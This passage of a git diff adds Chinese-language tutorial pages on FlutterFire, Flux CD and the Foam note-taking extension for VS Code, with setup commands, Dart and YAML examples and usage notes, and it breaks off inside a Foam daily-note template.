+- [[fvm]] —— FVM — 按项目锁定 Flutter SDK 版本
+- [[matrix-rust-sdk]] —— matrix-rust-sdk — Matrix 客户端的"共享发动机"
+- [[tauri]] —— Tauri — Rust 写的 Electron 替代，用系统 webview 打包桌面/移动端应用
+- [[warp]] —— warp — Rust 里把请求处理拼成 Filter 积木的 web 框架
 
diff --git a/src/content/docs/projects/flutterfire.md b/src/content/docs/projects/flutterfire.md
new file mode 100644
index 000000000..79f3c0d31
--- /dev/null
+++ b/src/content/docs/projects/flutterfire.md
@@ -0,0 +1,292 @@
+---
+title: FlutterFire — Flutter 接入 Firebase 的官方插件全家桶
+来源: 'https://github.com/firebase/flutterfire'
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**FlutterFire** 是 Firebase 官方维护的一组 **Flutter 插件**，让 Flutter 应用能调用 Firebase 的后端能力——认证、云数据库、推送、存储、崩溃上报等。日常类比：Firebase 是云端「水电煤公司」，FlutterFire 则是进你 Flutter 项目里的**统一接线盒**——你不用分别找 iOS 的 Swift SDK、Android 的 Kotlin SDK、Web 的 JS SDK 各接一遍，只要装对应 Dart 插件，同一套 API 在 iOS、Android、Web（以及 beta 的 macOS / Windows）上都能用。
+
+仓库地址：[firebase/flutterfire](https://github.com/firebase/flutterfire)（BSD-3-Clause）。最新文档以 [firebase.google.com/docs/flutter](https://firebase.google.com/docs/flutter) 为准；旧站 `firebase.flutter.dev` 已归档。
+
+典型接入流程：
+
+```bash
+# 1. 安装 CLI 工具链
+firebase login
+dart pub global activate flutterfire_cli
+
+# 2. 在 Flutter 项目根目录绑定 Firebase 项目，生成配置
+flutterfire configure
+
+# 3. 添加核心插件并初始化
+flutter pub add firebase_core
+```
+
+然后在 `main.dart` 里完成启动初始化（见下文代码示例）。
+
+## 为什么重要
+
+不理解 FlutterFire，下面这些场景都说不清：
+
+- 为什么 Flutter 团队推荐用 `flutterfire configure` 而不是手动改 `google-services.json` / `GoogleService-Info.plist`
+- 为什么必须先 `await Firebase.initializeApp()` 才能用 Auth、Firestore 等插件
+- 为什么加一个 Firebase 产品（如 Crashlytics）后还要**再跑一遍** `flutterfire configure`（Android Gradle 插件依赖）
+- 为什么 Web 端会涉及 Trusted Types、JS SDK 自动注入等 Flutter 特有细节
+- FlutterFire 用 **BoM（Bill of Materials）** 锁定各插件与原生 SDK 的兼容版本——混装不同大版本插件容易构建失败
+
+## 核心概念
+
+### 1. `firebase_core` — 一切服务的总开关
+
+所有 Firebase 功能都依赖 `firebase_core`。它负责把 Flutter 应用「注册」到 Firebase 项目，建立与原生 Firebase SDK 的桥接。类比：进大楼前先在大堂登记——不登记，后面的会议室（Auth、Firestore）都进不去。
+
+初始化必须在 `runApp` 之前完成，且是异步的：
+
+```dart
+import 'package:firebase_core/firebase_core.dart';
+import 'firebase_options.dart';
+
+Future<void> main() async {
+  WidgetsFlutterBinding.ensureInitialized();
+  await Firebase.initializeApp(
+    options: DefaultFirebaseOptions.currentPlatform,
+  );
+  runApp(const MyApp());
+}
+```
+
+`firebase_options.dart` 由 `flutterfire configure` 自动生成，内含各平台的 `apiKey`、`appId`、`projectId` 等——这些是**项目标识符**，可进客户端，不是服务端密钥。
+
+### 2. FlutterFire CLI — 配置即代码
+
+`flutterfire configure` 会：
+
+- 让你在 Firebase Console 里选/建项目，并为 iOS、Android、Web 等注册 App
+- 生成 `lib/firebase_options.dart`
+- 在 Android 上按需注入 Google Services / Crashlytics 等 Gradle 插件
+
+**何时要重跑 configure**：新增平台（例如后来才支持 Web）、新增需要原生 Gradle 配置的产品（Google 登录、Crashlytics、Performance、Realtime Database 等）。
+
+本地开发也可连 **Firebase Emulator**，用 demo 项目 ID 初始化：
+
+```dart
+await Firebase.initializeApp(
+  options: DefaultFirebaseOptions.currentPlatform,
+  // 或演示模式：
+  // demoProjectId: 'demo-my-project',
+);
+```
+
+### 3. 插件化架构 — 按需安装，BoM 对齐版本
+
+FlutterFire 不是一个大包，而是**每个 Firebase 产品一个 pub 包**。常用 stable 插件包括：
+
+| 产品 | pub 包名 | 典型用途 |
+| --- | --- | --- |
+| Authentication | `firebase_auth` | 邮箱/手机/Google/Apple 登录 |
+| Cloud Firestore | `cloud_firestore` | 文档型 NoSQL，实时同步 |
+| Cloud Messaging | `firebase_messaging` | 推送通知（FCM） |
+| Cloud Storage | `firebase_storage` | 用户上传文件/图片 |
+| Analytics | `firebase_analytics` | 行为埋点 |
+| Crashlytics | `firebase_crashlytics` | 崩溃与错误上报 |
+| Remote Config | `firebase_remote_config` | 远程开关与 A/B |
+| Realtime Database | `firebase_database` | JSON 树形实时库 |
+
+官方发布 **Flutter BoM（Bill of Materials）**，把 `firebase_core`、`firebase_auth`、`cloud_firestore` 等插件与底层 Android Gradle / Apple CocoaPods SDK 锁在同一兼容矩阵里。截至 2026-06-01，最新稳定 BoM 为 **4.15.0**（详见仓库 [VERSIONS.md](https://github.com/firebase/flutterfire/blob/main/VERSIONS.md)）。可用 CLI 一次性安装对齐版本：
+
+```bash
+flutterfire install 4.15.0
+```
+
+添加单个插件时仍推荐：`flutter pub add cloud_firestore` → 再 `flutterfire configure` → `flutter run`。
+
+### 4. 多平台同构 API
+
+Flutter 的卖点是「写一次，多端跑」。FlutterFire 插件在 Dart 层暴露统一 API，底层分别调用 Apple / Android / Web 原生 SDK。注意：
+
+- **Windows**：官方标明仅适合本地开发，不建议生产
+- **Web**：Firebase JS SDK 可能由 FlutterFire 自动注入；可用 `window.flutterfire_ignore_scripts` 改为手动加载
+- **Apple 推送**：FCM 在 iOS 需 APNs 密钥、Push Capability 等额外配置
+
+### 5. 与 Firebase UI 的关系
+
+表单、登录页等**预制 UI** 已迁到独立仓库 [FirebaseUI-Flutter](https://github.com/firebase/FirebaseUI-Flutter)。FlutterFire 本体只提供 SDK 能力，UI 层需自建或使用 FirebaseUI。
+
+## 实践案例
+
+### 案例 1：邮箱注册 + 登录（firebase_auth）
+
+在 Firebase Console → Authentication → Sign-in method 中启用 Email/Password 后：
+
+```dart
+import 'package:firebase_auth/firebase_auth.dart';
+
+class AuthService {
+  final FirebaseAuth _auth = FirebaseAuth.instance;
+
+  /// 当前用户；未登录时为 null
+  User? get currentUser => _auth.currentUser;
+
+  /// 监听登录态变化（冷启动恢复 session 也走这条流）
+  Stream<User?> authStateChanges() => _auth.authStateChanges();
+
+  Future<UserCredential> signUp(String email, String password) {
+    return _auth.createUserWithEmailAndPassword(
+      email: email,
+      password: password,
+    );
+  }
+
+  Future<UserCredential> signIn(String email, String password) {
+    return _auth.signInWithEmailAndPassword(
+      email: email,
+      password: password,
+    );
+  }
+
+  Future<void> signOut() => _auth.signOut();
+}
+```
+
+在 Widget 里用 `StreamBuilder` 根据 `authStateChanges()` 切换登录页与主页——Auth 在移动端默认**持久化登录态**（Web 可配置 `Persistence.LOCAL` / `NONE`）。
+
+### 案例 2：Firestore 读写待办列表（cloud_firestore）
+
+Firestore 以**集合（collection）→ 文档（document）→ 字段**组织数据，并支持实时监听：
+
+```dart
+import 'package:cloud_firestore/cloud_firestore.dart';
+
+class TodoRepository {
+  final CollectionReference<Map<String, dynamic>> _todos =
+      FirebaseFirestore.instance.collection('todos');
+
+  /// 实时列表：服务端有变更时 Stream 自动推送
+  Stream<List<Todo>> watchAll() {
+    return _todos
+        .orderBy('createdAt', descending: true)
+        .snapshots()
+        .map((snap) => snap.docs
+            .map((d) => Todo.fromFirestore(d.id, d.data()))
+            .toList());
+  }
+
+  Future<void> add(String title) {
+    return _todos.add({
+      'title': title,
+      'done': false,
+      'createdAt': FieldValue.serverTimestamp(),
+    });
+  }
+
+  Future<void> toggleDone(String id, bool done) {
+    return _todos.doc(id).update({'done': done});
+  }
+}
+
+class Todo {
+  final String id;
+  final String title;
+  final bool done;
+
+  Todo({required this.id, required this.title, required this.done});
+
+  factory Todo.fromFirestore(String id, Map<String, dynamic> data) {
+    return Todo(
+      id: id,
+      title: data['title'] as String? ?? '',
+      done: data['done'] as bool? ?? false,
+    );
+  }
+}
+```
+
+UI 层：
+
+```dart
+StreamBuilder<List<Todo>>(
+  stream: todoRepo.watchAll(),
+  builder: (context, snapshot) {
+    if (snapshot.connectionState == ConnectionState.waiting) {
+      return const CircularProgressIndicator();
+    }
+    final items = snapshot.data ?? [];
+    return ListView.builder(
+      itemCount: items.length,
+      itemBuilder: (_, i) => CheckboxListTile(
+        title: Text(items[i].title),
+        value: items[i].done,
+        onChanged: (v) => todoRepo.toggleDone(items[i].id, v ?? false),
+      ),
+    );
+  },
+)
+```
+
+**安全提醒**：客户端能读写什么，由 Firebase Console 里的 **Firestore Security Rules** 决定，不能只靠「藏 API」——规则写错等于数据库对全世界开放。
+
+### 案例 3：推送通知（firebase_messaging）要点
+
+```dart
+import 'package:firebase_messaging/firebase_messaging.dart';
+
+// 顶层函数：App 在后台/终止态收到消息时必须在 isolate 外注册
+@pragma('vm:entry-point')
+Future<void> _firebaseMessagingBackgroundHandler(RemoteMessage message) async {
+  await Firebase.initializeApp(options: DefaultFirebaseOptions.currentPlatform);
+  // 处理后台消息
+}
+
+Future<void> setupMessaging() async {
+  FirebaseMessaging.onBackgroundMessage(_firebaseMessagingBackgroundHandler);
+
+  final messaging = FirebaseMessaging.instance;
+  await messaging.requestPermission(); // iOS 弹权限框
+
+  final token = await messaging.getToken(); // 上报到你的后端，用于定向推送
+  debugPrint('FCM token: $token');
+}
+```
+
+iOS 还需 Apple Developer 配置 APNs；Android 需带 Google Play 的模拟器或真机。
+
+## 从零到上线的推荐顺序
+
+1. **创建 Flutter 项目** → 安装 Firebase CLI + FlutterFire CLI
+2. **`flutterfire configure`** → 检查生成的 `firebase_options.dart`
+3. **`firebase_core` + `main.dart` 初始化** → `flutter run` 确认无报错
+4. **按产品加插件**（Auth / Firestore 等）→ 每加一类服务，重跑 configure
+5. **Console 里开 Sign-in 方式、写 Security Rules、开 Analytics**
+6. **真机测 FCM、Crashlytics**；Web 单独测 Trusted Types / 脚本注入
+7. 用 **`flutterfire install <BoM>`** 或锁定 `pubspec.yaml` 版本，避免 CI 与同事环境不一致
+
+## 常见坑
+
+| 现象 | 常见原因 |
+| --- | --- |
+| `FirebaseException: no Firebase App '[DEFAULT]'` | 未 `initializeApp` 或在初始化完成前调用了 Firebase API |
+| Android 构建失败，提示 Google Services | 未跑 `flutterfire configure`，或 `google-services.json` 与包名不匹配 |
+| iOS 推送收不到 | 缺 APNs 密钥、未开 Push Capability、用模拟器测 FCM |
+| Firestore 权限 denied | Security Rules 过严或用户未登录；在 Console Rules 模拟器里调试 |
+| 插件版本冲突 | 混用不同 BoM 时代的包；改用 `flutterfire install` 对齐 |
+| Web 白屏 / CSP 报错 | 内容安全策略拦截 Firebase JS；检查 `flutterfire_ignore_scripts` 与手动 import |
+
+## 和相近方案怎么选
+
+- **Supabase Flutter**：开源 Postgres + Auth + Realtime，自托管或云服务；适合要强 SQL、要脱离 Google 生态的团队
+- **Appwrite Flutter SDK**：自托管 BaaS，接口风格类似 Firebase
+- **纯 REST + 自建后端**：灵活度最高，但要自己管 auth、推送、存储、监控
+- **FlutterFire**：与 Firebase Console、Google Analytics、Crashlytics、FCM 深度集成；适合已用 GCP/Firebase、要快出 MVP 的移动/Web 产品
+
+## 延伸资源
+
+- 官方入门：[Add Firebase to your Flutter app](https://firebase.google.com/docs/flutter/setup)
+- Codelab：[Get to know Firebase for Flutter](https://firebase.google.com/codelabs/firebase-get-to-know-flutter)
+- 版本矩阵：[flutterfire VERSIONS.md](https://github.com/firebase/flutterfire/blob/main/VERSIONS.md)
+- 各插件 pub.dev 文档（如 [firebase_auth](https://pub.dev/packages/firebase_auth)、[cloud_firestore](https://pub.dev/packages/cloud_firestore)）
+- 问题反馈：FlutterFire 专属 issue → [firebase/flutterfire](https://github.com/firebase/flutterfire/issues)；通用 Flutter 问题 → [flutter/flutter](https://github.com/flutter/flutter/issues)
diff --git a/src/content/docs/projects/flux-cd.md b/src/content/docs/projects/flux-cd.md
new file mode 100644
index 000000000..1a147a1fa
--- /dev/null
+++ b/src/content/docs/projects/flux-cd.md
@@ -0,0 +1,282 @@
+---
+title: Flux CD 零基础学习笔记
+来源: https://github.com/fluxcd/flux2
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# Flux CD 零基础学习笔记
+
+## 一、什么是 Flux CD？日常类比
+
+想象你有一个大乐高城堡，里面的每个模块——城墙、塔楼、士兵——都可以拆下来重装。
+
+你手里有一份"蓝图"，详细记录了城堡应该是什么样子。如果不小心碰歪了一座塔，你会重新按照蓝图把它装好。
+
+Flux CD 做的事情就是：它是一位永远不休息的"乐高检查员"。
+
+1. 你把蓝图存在 Git 仓库里（一份声明式的配置）
+2. Flux 在 Kubernetes 集群里跑着，不停地检查
+3. 如果集群的实际状态和蓝图不一致——不管是因为你手动改了，还是出错了——Flux 都会自动把它改回蓝图的样子
+
+这就是 **GitOps** 的核心：用 Git 当唯一真相源，用自动化保证集群状态永远匹配。
+
+> GitOps 一句话总结：代码写在哪，集群就长什么样；有人改了，Flux 拉回来。
+
+---
+
+## 二、核心概念
+
+### 2.1 五大组件（控制器）
+
+Flux v2 不是单个程序，而是由几个"控制器"组成的集合，每个控制器负责一件事：
+
+- **Source Controller** — 去 Git/OCI/Helm 仓库"取货"，拿到配置工件
+- **Kustomize Controller** — 把拿到的配置用 Kustomize 合在一起，然后应用到集群
+- **Helm Controller** — 管理 Helm Release，类似用 Helm 但自动化驱动
+- **Notification Controller** — 发出告警和事件通知（比如部署成功/失败）
+- **Image Automation Controllers** — 自动检测镜像更新，并推送变更回 Git
+
+它们都跑在同一个 `flux-system` Namespace 里。
+
+### 2.2 Source（来源）
+
+Source 告诉 Flux：配置从哪里来。
+
+常见类型：
+
+| Source 类型 | 用途 |
+|---|---|
+| GitRepository | 拉取 Git 仓库里的 YAML 配置 |
+| OCIRepository | 从容器注册表获取配置工件 |
+| HelmRepository | 获取 Helm Chart 仓库索引 |
+| Bucket | 从 S3/GCS 等对象存储拉取文件 |
+
+### 2.3 Kustomization（自定义化）
+
+Kustomization 告诉 Flux：拿到配置后怎么处理。
+
+比如：应用哪个目录？是否删除集群里多余的资源（prune）？是否等待资源就绪（wait）？
+
+### 2.4  reconcilation（调和）
+
+调和是 Flux 的灵魂机制。它的循环很简单：
+
+1. Flux 检查 Git 仓库是否有新提交
+2. 如果有，拉取新配置
+3. 对比集群当前状态
+4. 如果有差异，自动应用变更
+5. 重复步骤 1
+
+这个循环默认每 5 分钟检查一次，可以手动触发 `flux reconcile` 立即执行。
+
+### 2.5 Bootstrap（启动）
+
+Bootstrap 是 Flux 的自我安装过程。一条命令：
+
+```bash
+flux bootstrap github \
+  --owner=$GITHUB_USER \
+  --repository=fleet-infra \
+  --branch=main \
+  --path=./clusters/my-cluster \
+  --personal
+```
+
+它做了四件事：
+
+1. 在 GitHub 创建（或复用）一个仓库
+2. 把 Flux 组件的清单推送到那个仓库
+3. 在集群里安装 Flux 控制器
+4. 配置 Flux 去追踪那个仓库的变化
+
+---
+
+## 三、动手示例
+
+### 示例 1：定义一个 Git 来源
+
+你要部署一个应用，应用的 Kubernetes 配置存在 GitHub 上的 `stefanprodan/podinfo` 仓库。
+
+第一步，创建一个 `GitRepository` 资源告诉 Flux 去哪里取：
+
+```yaml
+# podinfo-source.yaml
+apiVersion: source.toolkit.fluxcd.io/v1
+kind: GitRepository
+metadata:
+  name: podinfo
+  namespace: flux-system
+spec:
+  interval: 1m
+  url: https://github.com/stefanprodan/podinfo
+  ref:
+    branch: master
+```
+
+关键字段解释：
+
+- `interval: 1m` — 每 1 分钟检查一次有没有新提交
+- `url` — Git 仓库地址
+- `ref.branch` — 只关注 master 分支
+
+创建之后，Flux 的 Source Controller 会开始拉取这个仓库。
+
+你可以用 CLI 命令快速生成这个文件：
+
+```bash
+flux create source git podinfo \
+  --url=https://github.com/stefanprodan/podinfo \
+  --branch=master \
+  --interval=1m \
+  --export > ./clusters/my-cluster/podinfo-source.yaml
+```
+
+然后把文件提交到你的基础设施仓库，Flux 自动同步到集群。
+
+### 示例 2：用 Kustomization 部署应用
+
+有了来源还不够，你需要告诉 Flux：拿到配置后，怎么处理并部署到集群。
+
+```yaml
+# podinfo-kustomization.yaml
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: podinfo
+  namespace: flux-system
+spec:
+  interval: 30m
+  path: ./kustomize
+  prune: true
+  wait: true
+  sourceRef:
+    kind: GitRepository
+    name: podinfo
+  targetNamespace: default
+  timeout: 3m
+```
+
+关键字段解释：
+
+- `interval: 30m` — 每 30 分钟检查一次变更
+- `path: ./kustomize` — 在源仓库里应用 `kustomize` 目录下的配置
+- `prune: true` — 删除源仓库里已不存在的资源（自动清理）
+- `wait: true` — 等待所有资源就绪（Ready）
+- `sourceRef` — 关联上面定义的 GitRepository 来源
+- `targetNamespace: default` — 部署到 default 命名空间
+- `timeout: 3m` — 操作超时时间
+
+部署后你可以用这些命令观察状态：
+
+```bash
+# 持续观察 Kustomization 的状态
+flux get kustomizations --watch
+
+# 查看已部署的资源
+kubectl -n default get deployments,services
+```
+
+输出类似：
+
+```
+NAME      REVISION                  SUSPENDED  READY   MESSAGE
+podinfo   master@sha1:44157ecd      False      True    Applied revision: master@sha1:44157ecd
+```
+
+### 示例 3：自定义部署（Inline Patch）
+
+如果应用的配置在你无法控制的仓库里，怎么修改它？Flux 支持用内联补丁（Inline Patch）做微调。
+
+比如把 podinfo 的最小副本数从 2 改成 3：
+
+```yaml
+# 在 podinfo-kustomization.yaml 的 spec 下追加
+spec:
+  # ... 其他字段保持不变 ...
+  patches:
+    - patch: |-
+        apiVersion: autoscaling/v2
+        kind: HorizontalPodAutoscaler
+        metadata:
+          name: podinfo
+        spec:
+          minReplicas: 3
+      target:
+        name: podinfo
+        kind: HorizontalPodAutoscaler
+```
+
+提交这个改动到 Git，Flux 自动应用补丁，集群里的副本数就变成 3 了。
+
+---
+
+## 四、Flux 的工作流程图
+
+```
+┌──────────────┐     拉取配置      ┌──────────────────┐
+│  Git 仓库     │ ──────────────►  │ Source Controller │
+│ (蓝图所在处)   │                  └────────┬─────────┘
+└──────────────┘                           │ 工件(artifact)
+                                           ▼
+                                   ┌──────────────────┐
+                                   │Kustomization CRD │
+                                   └────────┬─────────┘
+                                            │
+                                            ▼
+                                   ┌──────────────────┐
+                                   │Kustomize Controller│
+                                   └────────┬─────────┘
+                                            │
+                                            ▼
+                                   ┌──────────────────┐
+                                   │  Kubernetes 集群   │
+                                   │  实际运行状态      │
+                                   └──────────────────┘
+                                            ▲
+                                            │ 持续比对 + 自动修复
+                                            └─────────┘
+```
+
+---
+
+## 五、为什么要用 Flux？
+
+| 场景 | 不用 Flux | 用 Flux |
+|---|---|---|
+| 有人手改了集群配置 | 配置漂移，和 Git 不一致 | 自动恢复为 Git 中的状态 |
+| 多环境部署 | 手动重复操作，易出错 | 一套配置推多个仓库/集群 |
+| 镜像更新 | 手动改版本号，容易漏 | Image Automation 自动检测并推送 |
+| 审计追踪 | 难以追溯谁改了什么 | Git 提交记录就是完整审计链 |
+| 回滚 | 复杂的手动操作 | `git revert` + Flux 自动同步 |
+
+---
+
+## 六、常见术语速查
+
+| 术语 | 含义 |
+|---|---|
+| GitOps | 用 Git 作为基础设施唯一真相源的管理范式 |
+| Reconciliation | Flux 持续比对并修复差异的循环机制 |
+| Bootstrap | Flux 的自我安装过程 |
+| Source | 配置来源（Git/OCI/Bucket 等） |
+| Kustomization | 定义如何应用配置的声明资源 |
+| HelmRelease | 用 Helm 方式管理应用发布 |
+| Drift | 集群状态偏离 Git 定义的状态 |
+| Prune | 自动删除 Git 中不存在的资源 |
+
+---
+
+## 七、后续学习方向
+
+1. **Helm Release** — 学习用 Flux 管理 Helm Chart 而非裸 YAML
+2. **Image Automation** — 学习让 Flux 自动检测 Docker 镜像更新并推送 PR
+3. **多集群管理** — 学习用一套 Git 仓库管理多个 Kubernetes 集群
+4. **渐进式交付（Flagger）** — 学习 Canary 发布和 A/B 测试
+5. **Gitless GitOps** — Flux 2022 年引入的新模式，用 OCI 注册表替代 Git 作为配置源
+
+---
+
+*参考资料：https://github.com/fluxcd/flux2 | https://fluxcd.io/flux/concepts/ | https://fluxcd.io/flux/get-started/*
diff --git a/src/content/docs/projects/foam.md b/src/content/docs/projects/foam.md
new file mode 100644
index 000000000..3d89439f7
--- /dev/null
+++ b/src/content/docs/projects/foam.md
@@ -0,0 +1,330 @@
+---
+title: Foam — VS Code 上的 Roam-like 知识库
+来源: https://github.com/foambubble/foam
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：把 VS Code 变成「可搜索、可连线的个人维基」
+
+如果你用过 Roam Research 或 Logseq，一定熟悉这种体验：写一句想法，用 `[[双括号]]` 链到另一张卡片；第二天打开笔记，侧边栏自动告诉你「还有哪些页面提到了这个概念」——像在一本永远写不完、但每页都互相引用的活字典里工作。
+
+**Foam 就是把这套体验搬进 Visual Studio Code。** 它不另起一个独立 App，而是在你本来写代码、改配置的那个编辑器里，用 **Markdown 文件 + Wikilink + 反向链接 + 关系图谱** 搭一座「数字花园」。官方说得很直白：Foam 像浴缸——**你往里放什么，就得到什么**；工具只提供连接与发现，知识结构仍由你维护。
+
+与 Roam 的云端块编辑器不同，Foam 的笔记是 **本地 `.md` 纯文本**，默认落在 Git 仓库里，版本、备份、协作都沿用开发者熟悉的流程。Foam 本体是 VS Code 扩展 [foam.foam-vscode](https://marketplace.visualstudio.com/items?itemName=foam.foam-vscode)，再搭配 Markdown All in One、Prettier 等推荐扩展，形成一套可扩展的 PKM（个人知识管理）栈。仓库 [foambubble/foam](https://github.com/foambubble/foam) 约 1.7 万 star，文档站 [foambubble.github.io/foam](https://foambubble.github.io/foam/) 与 [docs.foamnotes.com](https://docs.foamnotes.com) 持续更新。
+
+零基础路径：**用 foam-template 建仓库 → 在 VS Code 打开 → 安装推荐扩展 → 写第一篇带 `[[wikilink]]` 的笔记 → 打开 Daily Note 与 Graph → 按需定制模板与设置**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：已经在 VS Code 里工作，却还要切到另一款笔记软件
+
+许多开发者每天泡在 VS Code：Git、终端、LSP、主题、快捷键都已肌肉记忆。Foam 让你 **在同一窗口里写笔记**，不必在 Obsidian / Notion / Roam 之间来回切换，也避免「代码在 A 工具、思考在 B 工具」的上下文断裂。
+
+### 痛点 2：想要 Roam 式网状思考，但不想被 SaaS 绑住
+
+Roam 的双向链接与每日日志很强，但订阅与数据托管是顾虑。Foam **开源免费**，笔记就是文件夹里的 Markdown，**你拥有全部数据**，可私有 Git 仓库，也可发布到 GitHub Pages / Gatsby / Vercel。
+
+### 痛点 3：普通 Markdown 缺少「知识库级」导航
+
+标准 Markdown 链接 `[text](file.md)` 能跳转，但不会自动维护 **反向链接（Backlinks）**、**占位链接（尚未创建的 `[[概念]]`）**、**图谱视图**。Foam 在 VS Code 里补这一层语义，让笔记从「文档集合」变成 **可探索的图**。
+
+### 痛点 4：日记、模板、重复结构太费手工
+
+Foam 内置 **Daily Note**（`Alt+D`）、**日期片段**（`/today`、`/+1w`）、**可编程模板**（`.foam/templates/`），新建文献笔记、会议记录、项目页时可以一键套用骨架，减少重复 YAML 和标题格式。
+
+---
+
+## 核心概念拆解
+
+### 1. Foam 工作区（Workspace）
+
+Foam 工作区 **就是一个包含 `.md` 文件的文件夹**（通常也是 Git 仓库）。配置在 `.vscode/settings.json` 与 `.foam/` 目录下；笔记、图片、模板、日志分目录存放即可。官方建议 **单一统一知识库**，多工作区模式已趋于弃用——复杂结构用文件夹链接模拟即可。
+
+推荐起步方式：在 GitHub 用 [foam-template](https://github.com/foambubble/foam-template/generate) 生成仓库 → clone → VS Code **Open Folder** → 提示安装 **Recommended Extensions** 时点 **Install All**。
+
+### 2. Wikilink（`[[双括号链接]]`）
+
+Wikilink 是 Foam 的脊梁：
+
+- 输入 `[[` 触发 **自动补全**，`Tab` 选中，`Ctrl+Click` / `F12` 跳转。
+- 目标文件不存在时，链到 **Placeholder**，样式不同，便于在图谱里规划尚未撰写的概念。
+- **别名**：`[[真实文件名|显示文字]]`。
+- **章节**：`[[note-name#Section Title]]`。
+- **块锚点**：在段落末加 `^block-id`，别处用 `[[note#^block-id]]` 精确定位（类似 Roam 的 block reference）。
+- **嵌入**：`![[other-note]]` 把另一篇笔记内容嵌进当前页。
+
+重命名或移动文件时，Foam 默认 **同步更新** 所有指向它的 wikilink（`foam.links.sync.enable`）；普通 Markdown 链接可配合 VS Code 的 `markdown.updateLinksOnFileMove.enabled`。
+
+### 3. 反向链接（Backlinks）
+
+当你打开任意笔记，Foam 会在侧边栏列出 **哪些其他笔记链接到了当前页**。这是 Roam-like 体验的另一半：不只「我从 A 链到 B」，还要看见 **「谁链回了我」**。写综述、发现意外关联、清理孤儿笔记时，Backlinks 比全文搜索更贴近「关系」而非「关键词」。
+
+### 4. 图谱可视化（Graph）
+
+命令面板执行 **Foam: Show Graph**，以节点边形式展示 wikilink 网络。Placeholder 也会出现在图中，帮你看见「计划中但未写」的概念簇。适合检查孤岛笔记、发现过度中心化的 hub、或给 Zettelkasten 做结构体检。
+
+### 5. Daily Note 与日期片段
+
+- **Foam: Open Daily Note** 或快捷键 **`Alt+D`**：创建/打开当天日记，默认路径 `journals/yyyy-mm-dd.md`。
+- 任意笔记里输入 **`/today`**、**`/yesterday`**、**`/tomorrow`**、**`/+1d`**、**`/-3d`**、**`/+1w`** 等片段，可插入指向对应日期的 wikilink。
+- 设置 `"foam.openDailyNote.onStartup": true` 可在启动 VS Code 时自动打开今日页。
+
+日记结构由 **`.foam/templates/daily-note.md`** 定义，而非零散 deprecated 设置项。
+
+### 6. 模板（Templates）
+
+模板放在 `.foam/templates/`，支持 Markdown 与 JavaScript（`.js`）两种。常用变量包括：
+
+| 变量 | 含义 |
+|------|------|
+| `$FOAM_TITLE` | 新建笔记标题（会提示输入） |
+| `$FOAM_TITLE_SAFE` | 文件系统安全文件名 |
+| `$FOAM_SELECTED_TEXT` | 选中文本（可替换为新笔记的 wikilink） |
+| `$FOAM_DATE_YEAR` / `$FOAM_DATE_MONTH` / `$FOAM_DATE_DATE` | 日期分量，Daily Note 与相对日期片段会填入 **相对日** 而非仅「今天」 |
+
+命令 **Foam: Create New Note from Template** 与选区、模板变量组合，是批量造 Zettel 卡片的高效路径。
+
+### 7. Link Reference Definitions（与 GitHub 兼容）
+
+纯 `[[wikilink]]` 在 GitHub 网页预览里不可点击。Foam 可生成文件底部的 **链接引用定义**，把 wikilink 转成标准 Markdown 链接块，便于 **GitHub UI / GitHub Pages** 导航。在纯 Foam 工作区里可关闭；要发布时再启用 **Generate references** 类工作流。
+
+### 8. Foam CLI 与周边工具
+
+[Foam CLI](https://github.com/foambubble/foam/tree/main/packages/foam-cli) 支持终端侧 `search`、`list`、`daily`、`lint` 等，适合脚本化备份检查、CI 里扫描断链。VS Code 内还有 **Foam: Open Random Note**、Janitor、Orphaned Notes 等维护向能力。
+
+### 9. Foam 不是什么
+
+社区常强调：Foam **不是**一个 monolithic 闭源产品，而是 **「VS Code + 一组精选扩展 + 约定目录结构」** 的策展方案。你仍可装 Prettier、Mermaid、GitLens、Copilot——写作与工程工具链可完全共享。
+
+---
+
+## 安装与第一次打开
+
+### 方式 A：foam-template（推荐）
+
+1. GitHub 登录 → [从 foam-template 生成新仓库](https://github.com/foambubble/foam-template/generate)（私有库可选）。
+2. 本地 clone 并在 VS Code 打开文件夹。
+3. 安装推荐扩展（含 **Foam** 本体）。
+4. 命令面板 `Foam: Show Graph` 或 `Alt+D` 验证扩展已激活。
+
+### 方式 B：空文件夹手工初始化
+
+1. 新建目录，`File → Open Folder`。
+2. 安装扩展 **Foam**（`foam.foam-vscode`）。
+3. 创建 `.vscode/extensions.json` 推荐 Markdown 相关扩展（可参考 foam-template）。
+4. 新建 `README.md` 与任意 `.md` 笔记即可开始 wikilink。
+
+---
+
+## 代码示例 1：一篇用 Wikilink 织成的「原子笔记」
+
+下面模拟 Zettelkasten 里的一张永久笔记：只讲一个主张，并用链接指向相关概念与来源。保存为 `notes/202606131030-spaced-repetition-vs-graph.md`：
+
+```markdown
+---
+type: permanent-note
+tags: [learning, pkm]
+---
+
+# 间隔重复与知识图谱解决不同问题
+
+间隔重复（Spaced Repetition）优化的是 **记忆保持**；图谱笔记（如 Foam）优化的是 **关系发现**。
+二者互补：前者适合闪卡与事实，后者适合 hypothesis 与项目脉络。
+
+## 关联
+
+- 上游方法：[[Zettelkasten]]、[[Building a Second Brain]]
+- 工具对比：[[Foam]] vs [[Obsidian]] — 我在 [[VS Code]] 里已常驻开发环境，故选 Foam 降低切换成本
+- 待写占位：[[如何将 Anki 导出卡片链回 Foam 文献笔记]]
+
+## 来源
+
+- 阅读 [[book-make-it-stick-2014]] 第 2 章摘要 ^claim-different-problems
+
+其他笔记可块引用：[[202606131030-spaced-repetition-vs-graph#^claim-different-problems]]
+```
+
+**阅读要点：**
+
+- `[[尚未存在的页面]]` 会显示为 placeholder，点击可创建。
+- `^claim-different-problems` 是块锚点，别处用 `#^...` 精确引用该段。
+- Front matter 的 `tags` 可配合搜索；Foam 也支持正文 `#tag`。
+- 打开本篇时，Backlinks 面板会显示所有链入此文件的页面。
+
+---
+
+## 代码示例 2：Daily Note 模板 + 工作区设置
+
+### `.foam/templates/daily-note.md`
+
+自定义日记路径与版式（示例：按年月分文件夹）：
+
+```markdown
+---
+type: daily-note
+foam_template:
+  name: Daily Note
+  description: 每日捕获 inbox
